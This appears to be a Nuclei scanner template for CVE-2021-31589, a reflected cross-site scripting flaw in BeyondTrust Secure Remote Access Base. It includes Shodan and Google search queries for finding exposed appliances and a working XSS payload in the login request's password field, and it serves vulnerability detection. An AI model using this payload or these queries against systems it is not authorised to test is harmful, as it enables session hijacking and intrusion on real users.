CVE-2021-31589: BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting

id: CVE-2021-31589

info:
  name: BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting
  author: Ahmed Abou-Ela
  severity: medium
  description: BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement.
  remediation: |
    Upgrade to a patched version of BeyondTrust Secure Remote Access Base (6.0.2 or higher) that addresses the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/165408
    - https://cxsecurity.com/issue/WLB-2022010013
    - https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb
    - https://www.beyondtrust.com/docs/release-notes/index.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31589
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31589
    cwe-id: CWE-79
    epss-score: 0.27167
    epss-percentile: 0.96223
    cpe: cpe:2.3:o:beyondtrust:appliance_base_software:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: beyondtrust
    product: appliance_base_software
    shodan-query: 'set-cookie: nsbase_session'
    google-query:
      - '"BeyondTrust" "Redistribution Prohibited"'
      - '"beyondtrust" "redistribution prohibited"'
  tags: cve,cve2021,xss,packetstorm,beyondtrust,bomgar

http:
  - method: GET
    path:
      - "{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'
          - 'bomgar'
        case-insensitive: true
        condition: and

      - type: status
        status:
          - 200
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